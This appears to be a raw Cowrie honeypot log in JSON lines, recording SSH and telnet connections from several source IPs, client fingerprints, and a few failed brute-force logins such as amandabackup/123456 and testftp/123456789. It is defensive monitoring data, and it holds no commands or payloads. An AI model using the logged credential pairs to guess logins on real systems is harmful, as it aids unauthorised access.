{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59148,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e0459309642","protocol":"ssh","message":"New connection: 159.203.92.129:59148 (159.203.135.109:22) [session: 5e0459309642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:17.583230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:17.588461Z","src_ip":"159.203.92.129","session":"5e0459309642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:17.593996Z","src_ip":"159.203.92.129","session":"5e0459309642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"123456","message":"login attempt [amandabackup/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:17.606261Z","src_ip":"159.203.92.129","session":"5e0459309642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":33128,"dst_ip":"159.203.135.109","dst_port":23,"session":"7481285ae284","protocol":"telnet","message":"New connection: 104.248.46.74:33128 (159.203.135.109:23) [session: 7481285ae284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:18.299659Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:18.612931Z","src_ip":"159.203.92.129","session":"5e0459309642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.49099588394165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:20.819073Z","src_ip":"174.136.57.21","session":"a40d8f9e4df5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82821702957153,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:22.726333Z","src_ip":"174.136.57.21","session":"dab7227eaa33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":47614,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf03d5cf8904","protocol":"telnet","message":"New connection: 208.82.116.131:47614 (159.203.135.109:23) [session: bf03d5cf8904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:24.593403Z"}
{"eventid":"cowrie.session.closed","duration":45.30055809020996,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:28.192822Z","src_ip":"208.82.116.131","session":"7860a6b6e51b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.012070417404175,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:28.716931Z","src_ip":"159.203.13.64","session":"9f30ae799417","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":36118,"dst_ip":"159.203.135.109","dst_port":23,"session":"a585f8e5766b","protocol":"telnet","message":"New connection: 104.248.46.74:36118 (159.203.135.109:23) [session: a585f8e5766b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:30.895185Z"}
{"eventid":"cowrie.session.closed","duration":50.910215616226196,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:33.795506Z","src_ip":"208.82.116.131","session":"1431520b2792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.82317900657654,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:35.744103Z","src_ip":"174.136.57.21","session":"e9e88fc2086d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":51956,"dst_ip":"159.203.135.109","dst_port":23,"session":"3150f7063003","protocol":"telnet","message":"New connection: 208.82.116.131:51956 (159.203.135.109:23) [session: 3150f7063003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:36.550712Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":51966,"dst_ip":"159.203.135.109","dst_port":23,"session":"59448a86d331","protocol":"telnet","message":"New connection: 208.82.116.131:51966 (159.203.135.109:23) [session: 59448a86d331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:36.581331Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":47042,"dst_ip":"10.17.0.5","dst_port":22,"session":"e14cf9c74971","protocol":"ssh","message":"New connection: 45.78.194.242:47042 (10.17.0.5:22) [session: e14cf9c74971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:38.475291Z"}
{"eventid":"cowrie.session.closed","duration":38.911415815353394,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:42.018427Z","src_ip":"159.203.13.64","session":"0446340f749e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45506,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd5be6bc262b","protocol":"ssh","message":"New connection: 45.148.10.121:45506 (159.203.135.109:22) [session: fd5be6bc262b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:45.970668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:45.975611Z","src_ip":"45.148.10.121","session":"fd5be6bc262b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:46.065396Z","src_ip":"45.148.10.121","session":"fd5be6bc262b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":38278,"dst_ip":"159.203.135.109","dst_port":22,"session":"ade6c37edab3","protocol":"ssh","message":"New connection: 103.215.80.173:38278 (159.203.135.109:22) [session: ade6c37edab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:48.080975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:48.086167Z","src_ip":"103.215.80.173","session":"ade6c37edab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:48.382305Z","src_ip":"103.215.80.173","session":"ade6c37edab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"123456789","message":"login attempt [testftp/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:49.517103Z","src_ip":"103.215.80.173","session":"ade6c37edab3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:50.126625Z","src_ip":"45.78.194.242","session":"e14cf9c74971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:50.131431Z","src_ip":"45.78.194.242","session":"e14cf9c74971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:50.139239Z","src_ip":"45.78.194.242","session":"e14cf9c74971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:50.719773Z","src_ip":"103.215.80.173","session":"ade6c37edab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.55024027824402,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:51.849775Z","src_ip":"104.248.46.74","session":"7481285ae284","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.73817491531372,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:56.126619Z","src_ip":"208.82.116.131","session":"a9e822bb650d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.69877338409424,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:57.890873Z","src_ip":"208.82.116.131","session":"b8694650f779","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.13380169868469,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:00.448762Z","src_ip":"208.82.116.131","session":"78f71022f3cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54712,"dst_ip":"159.203.135.109","dst_port":22,"session":"799b28d807ad","protocol":"ssh","message":"New connection: 159.203.92.129:54712 (159.203.135.109:22) [session: 799b28d807ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:01.982603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:01.988310Z","src_ip":"159.203.92.129","session":"799b28d807ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:01.996933Z","src_ip":"159.203.92.129","session":"799b28d807ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"222222","message":"login attempt [amandabackup/222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:02.056872Z","src_ip":"159.203.92.129","session":"799b28d807ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":39908,"dst_ip":"10.17.0.5","dst_port":23,"session":"702e1e283b42","protocol":"telnet","message":"New connection: 174.136.57.21:39908 (10.17.0.5:23) [session: 702e1e283b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:02.084735Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:03.063945Z","src_ip":"159.203.92.129","session":"799b28d807ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33508,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb3ef5789a77","protocol":"telnet","message":"New connection: 208.82.116.131:33508 (159.203.135.109:23) [session: fb3ef5789a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:04.730393Z"}
{"eventid":"cowrie.session.closed","duration":60.31491732597351,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:05.657002Z","src_ip":"104.248.46.74","session":"fbf309405063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54334,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab7eb4a85513","protocol":"telnet","message":"New connection: 162.253.42.116:54334 (10.17.0.5:23) [session: ab7eb4a85513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:07.229970Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56416,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b78644b534","protocol":"telnet","message":"New connection: 162.253.42.116:56416 (10.17.0.5:23) [session: 66b78644b534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:07.994952Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35002,"dst_ip":"159.203.135.109","dst_port":23,"session":"154ed8b988d3","protocol":"telnet","message":"New connection: 208.82.116.131:35002 (159.203.135.109:23) [session: 154ed8b988d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:08.864912Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35006,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48acc8401a9","protocol":"telnet","message":"New connection: 208.82.116.131:35006 (159.203.135.109:23) [session: d48acc8401a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:08.873254Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35090,"dst_ip":"159.203.135.109","dst_port":23,"session":"1842b6518cc0","protocol":"telnet","message":"New connection: 208.82.116.131:35090 (159.203.135.109:23) [session: 1842b6518cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:09.019870Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35198,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b77f52e81ac","protocol":"telnet","message":"New connection: 208.82.116.131:35198 (159.203.135.109:23) [session: 3b77f52e81ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:09.324203Z"}
{"eventid":"cowrie.session.closed","duration":45.5437388420105,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:10.137037Z","src_ip":"208.82.116.131","session":"bf03d5cf8904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4a7b63229ed","protocol":"telnet","message":"New connection: 162.253.42.116:33082 (10.17.0.5:23) [session: b4a7b63229ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:12.281174Z"}
{"eventid":"cowrie.session.closed","duration":42.12380313873291,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:13.018832Z","src_ip":"104.248.46.74","session":"a585f8e5766b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":44084,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc12dc6fbfc0","protocol":"telnet","message":"New connection: 104.248.46.74:44084 (159.203.135.109:23) [session: fc12dc6fbfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:13.552921Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38794,"dst_ip":"10.17.0.5","dst_port":23,"session":"37d4827f6407","protocol":"telnet","message":"New connection: 162.253.42.116:38794 (10.17.0.5:23) [session: 37d4827f6407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:19.693722Z"}
{"eventid":"cowrie.session.closed","duration":44.64045548439026,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:21.190864Z","src_ip":"208.82.116.131","session":"3150f7063003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.867998361587524,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:21.449214Z","src_ip":"208.82.116.131","session":"59448a86d331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49482,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92d70a0b355","protocol":"telnet","message":"New connection: 162.253.42.116:49482 (10.17.0.5:23) [session: d92d70a0b355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:30.309375Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43210,"dst_ip":"159.203.135.109","dst_port":23,"session":"383433c5be20","protocol":"telnet","message":"New connection: 208.82.116.131:43210 (159.203.135.109:23) [session: 383433c5be20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:32.744701Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43248,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71ab8d5ee1e","protocol":"telnet","message":"New connection: 208.82.116.131:43248 (159.203.135.109:23) [session: e71ab8d5ee1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:32.817369Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43286,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a15640a33b","protocol":"telnet","message":"New connection: 208.82.116.131:43286 (159.203.135.109:23) [session: c0a15640a33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:32.889202Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43310,"dst_ip":"159.203.135.109","dst_port":23,"session":"66343aa46111","protocol":"telnet","message":"New connection: 208.82.116.131:43310 (159.203.135.109:23) [session: 66343aa46111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:32.962729Z"}
